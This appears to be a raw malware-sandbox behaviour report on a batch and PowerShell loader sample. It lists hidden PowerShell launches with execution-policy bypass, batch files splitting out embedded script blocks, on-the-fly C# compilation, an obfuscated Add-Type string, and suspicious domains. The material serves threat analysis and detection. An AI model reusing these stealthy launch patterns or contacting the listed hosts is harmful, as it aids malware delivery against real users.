00000000-00002080)43:Tc34,Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Exec ..." (UID: 00000000-00007840, Additional Context: "System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3).WindowStyle=[System.Diagnostics.ProcessWindowStyle]::[System.Diagnostics.Process]::Start(System.Diagnostics.ProcessStartInfo('%WINDIR%\System32\cmd.exe',/c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3))|Out-Null;"), Spawned process "cmd.exe" with commandline "/c ""C:\\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8 ..." (UID: 00000000-00003704), Spawned process "cmd.exe" with commandline "/c find /c /v "" < "C:\\e25aadf33d28b4ca41c1df2dcded13d358949192 ..." (UID: 00000000-00005444) Spawned process "find.exe" with commandline "find /c /v """ (UID: 00000000-00006644) Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dc ..." (UID: 00000000-00007156), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "C:\\e25aadf33d28b4ca41c1df2dcde ..." (UID: 00000000-00007844) Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2d ..." (UID: 00000000-00006516), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_ENC---" "C:\\e25aadf33d28b4ca41c1df2dcd ..." (UID: 00000000-00004480) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Con ..." (UID: 00000000-00008244), Spawned process "powershell.exe" with commandline "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypa ..." (UID: 00000000-00008432), Spawned process "cmd.exe" with commandline "/c "%TEMP%\\qrictpazfj4.bat" __hidden" (UID: 00000000-00006932), Spawned process "cmd.exe" with commandline "/c find /c /v "" < "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00008460), Spawned process "find.exe" with commandline "find /c /v """ (UID: 00000000-00008532), Spawned process "cmd.exe" with commandline "/c findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00006156), Spawned process "findstr.exe" with commandline "findstr /n /C:"---BEGIN_PS---" "%TEMP%\\qrictpazfj4.bat"" (UID: 00000000-00004776), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Get-Content '%TEMP% ..." (UID: 00000000-00007712) Spawned process "powershell.exe" with commandline "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%T ..." (UID: 00000000-00007736), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\1hgx3gv4\\1hgx3gv4.cmdline"" (UID: 00000000-00007764), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES64FA.tmp" "%TEM ..." (UID: 00000000-00004072) Spawned process "MSBuild.exe" (UID: 00000000-00007600) Spawned process "chrome.exe" (UID: 00000000-00000696) Spawned process "msedge.exe" (UID: 00000000-00002080)44:T4ad,"powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qj3ienwz.igj.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_woqa5zpk.rgg.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ptgcg23q.0xf.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_jfbwsys5.di0.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\svc_2842731493_26626.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_vl3nwe1h.ckx.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_yzzqvsby.zyq.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\qrictpazfj4.bat" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_t3e5vmsn.h5x.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_euatbvhg.zz0.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\volatile_module_292891825624175.ps1"45:T8a0,file/memory contains long string with (Indicator: "Add-Type"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "Add-Type"; File: "svc_2842731493_26626.ps1") Found string "Add-Type -AssemblyName ($lvoyx5+$lvcu3ut)" (Indicator: "Add-Type"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp")46:T523,"qrictpazfj4.bat" has type "DOS batch file ASCII text with very long lines (49615) with CRLF line terminators"- Location: [%TEMP%\qrictpazfj4.bat]- [targetUID: 00000000-00008460] "volatile_module_292891825624175.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (52862) with CRLF line terminators"- Location: [%TEMP%\volatile_module_292891825624175.ps1]- [targetUID: 00000000-00007736] "svc_2842731493_26626.ps1" has type "Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%TEMP%\svc_2842731493_26626.ps1]- [targetUID: 00000000-00008244] "1hgx3gv4.0.cs" has type "Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%TEMP%\1hgx3gv4\1hgx3gv4.0.cs]- [targetUID: 00000000-00007736] "1hgx3gv4.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\1hgx3gv4\1hgx3gv4.out]- [targetUID: 00000000-00007736] "1hgx3gv4.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\1hgx3gv4\1hgx3gv4.cmdline]- [targetUID: 00000000-00007736] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00008244]47:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")48:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")49:Tabc,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"4a:Tbe6,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml"4b:T7ab,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_qj3ienwz.igj.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_woqa5zpk.rgg.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_qj3ienwz.igj.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_woqa5zpk.rgg.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_ptgcg23q.0xf.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_jfbwsys5.di0.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\svc_2842731493_26626.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_ptgcg23q.0xf.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_jfbwsys5.di0.psm1" "powershell.exe" writes file "%temp%\svc_2842731493_26626.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_vl3nwe1h.ckx.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_yzzqvsby.zyq.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\qrictpazfj4.bat" "powershell.exe" writes file "%temp%\__psscriptpolicytest_vl3nwe1h.ckx.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_yzzqvsby.zyq.psm1" "powershell.exe" writes file "%temp%\qrictpazfj4.bat" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_t3e5vmsn.h5x.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_euatbvhg.zz0.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\volatile_module_292891825624175.ps1"4c:T53a,Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007712.00000000.156396.1BC10000.00000004.mdmp, 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp, 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp, 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00007712.00000000.156396.1BC10000.00000004.mdmp, 00000000-00007712.00000001.158316.1BC10000.00000004.mdmp, 00000000-00007712.00000002.160237.1BC10000.00000004.mdmp, 00000000-00007712.00000003.160629.1BC10000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007736.00000000.160961.52890000.00000004.mdmp, 00000000-00007736.00000001.161210.5294A000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00007736.00000000.160961.6CC70000.00000004.mdmp, 00000000-00007736.00000001.161210.6CC70000.00000004.mdmp")4d:T679,"2.5.29.37" "2.5.29.35" "0.0.0.0" "1.1.0.1" "3.0.0.0" Potential IP "4.0.0.0" found in string "Maximum number of drives allowed in a sessionnonon=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.31" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.14" "2.5.29.32" "2.5.4.3" "2.5.29.17" "2.5.29.1" "2.5.29.10" "2.5.29.16" "2.5.4.7" "2.5.4.5" "2.5.4.11" "2.5.4.10" "2.5.4.6" "2.5.4.8" "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "1.0.0.0" found in string ":\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" Potential IP "1.0.0.0" found in string "??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" "4.0.0.0" Potential IP "4.0.0.0" found in string "tall,4.0.0.0,,b03f5f" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=n"4e:T1ddf,Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "ip-api.com" Heuristic match: "neuvop.ydns.eu" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.security/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.security.dll" Heuristic match: "icrosoft.powershell.se" Heuristic match: "terop.ws" Heuristic match: "5.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "dows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "stem.management.automation.re" Heuristic match: "ost.re" Heuristic match: "ystem.management.automation.re" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: 